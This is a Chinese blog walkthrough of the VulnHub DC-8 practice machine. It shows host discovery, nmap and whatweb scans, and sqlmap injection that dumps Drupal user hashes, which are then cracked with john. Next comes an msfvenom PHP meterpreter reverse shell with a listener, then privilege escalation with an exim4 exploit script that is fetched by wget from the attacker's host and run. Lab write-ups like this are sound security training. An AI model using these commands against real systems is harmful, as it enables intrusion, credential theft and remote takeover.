VulnHub靶机 DC-8 打靶实战详细渗透过程

最新推荐文章于 2025-03-02 23:43:59 发布

rumilc

最新推荐文章于 2025-03-02 23:43:59 发布

阅读量2.2k

点赞数 28

分类专栏： VulnHub靶机 VulnHub靶机-DC系列文章标签： web安全网络安全

本文链接：https://blog.csdn.net/rumil/article/details/138142555

版权

VulnHub靶机同时被 2 个专栏收录

11 篇文章

订阅专栏

VulnHub靶机-DC系列

10 篇文章

订阅专栏

VulnHub靶机 DC-8 打靶详细渗透过程

一、将靶机配置导入到虚拟机当中

靶机地址：

https://www.vulnhub.com/entry/dc-8,367/

二、渗透测试流程

主机发现

使用arp-scan命令或者nmap命令进行主机发现

arp-scan -l

端口扫描

nmap -p- 192.168.0.105

开放了80端口和22端口，详细探测一下服务信息

nmap -p80 -sV -A 192.168.0.105

探测一下指纹信息：

whatweb http://192.168.0.105

Web渗透

SQL注入

访问web界面，通过上述信息收集加插件，得到以下信息，采用Drupal CMS，版本为Drupal 7

点击左侧，发现url当中出现id参数变化，尝试sql注入

url：http://192.168.0.105/?nid=1

sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba --batch --dbs

当前数据库d7db，但不是dba

查看数据库当中的表信息，还有表中的内容

//爆数据表
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db --tables
//查看表中数据字段
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users --columns
//爆字段数据
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users -C "name,pass" --dump

d7db数据库当中的users数据表

d7db数据库当中的users数据表，查看表中字段内容

成功查询用户名和密码，将密码保存到记事本当中进行破解

登录后台

根据用户名当中提示信息john，使用john进行hash密码破解

将密码保存到文本文件当中，john破解即可

john 1.txt
//admin破解失败，john破解成功
//用户名和密码
john
turtle

dirsearch -u http://192.168.0.105/ -i 200

通过目录爆破后，成功找到后台并进入

成功进入后台

反弹shell

找到可代码执行的地方，或者可以输入代码的地方，尝试输入，保存即可。

这里还可以使用msf生成php反弹shell脚本，放入其中

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=8888 -f raw

将代码放入其中

然后返回提交以后才能执行代码，msf开启监听即可接受到shell

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
exploit

成功接收shell，www-data普通权限

获取稳定shell，查看目录下有无有价值信息，发现没有

python -c "import pty;pty.spawn('/bin/bash')"

提权

查找系统下suid权限的命令

find / -perm -u=s -type f 2>/dev/null

查看一下exim4版本信息

搜索相关漏洞，进行利用

searchsploit exim 4

找到版本相近的问题

将其拷贝到本地，发现靶机有wget命令，那么可以通过wget进行下载，本地通过python开启一个http服务

//拷贝脚本
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /opt/exp.sh
//本地开启http服务
python -m http.server 8080

到靶机端进行下载exp.sh即可

wget http://192.168.0.106:8080/exp.sh

赋予执行权限，执行一下

chmod 755 exp.sh
./exp.sh
或bash exp.sh

查看源码，需要带参数

或者我们直接敲上 -h查看帮助的参数

./exp.sh -h

发现得加参数，依次尝试即可

./exp.sh -m setuid 失败
./exp.sh -m netcat

./exp.sh -m netcat 成功提权

思路：

主机发现—端口扫描—服务探针—指纹识别—发现注入点—web渗透SQL注入—获取用户名密码—登入后台—发现可加载PHP代码输入PHP代码—反弹shell—提权—exim4漏洞利用

文章不妥之处，欢迎批评指正！！！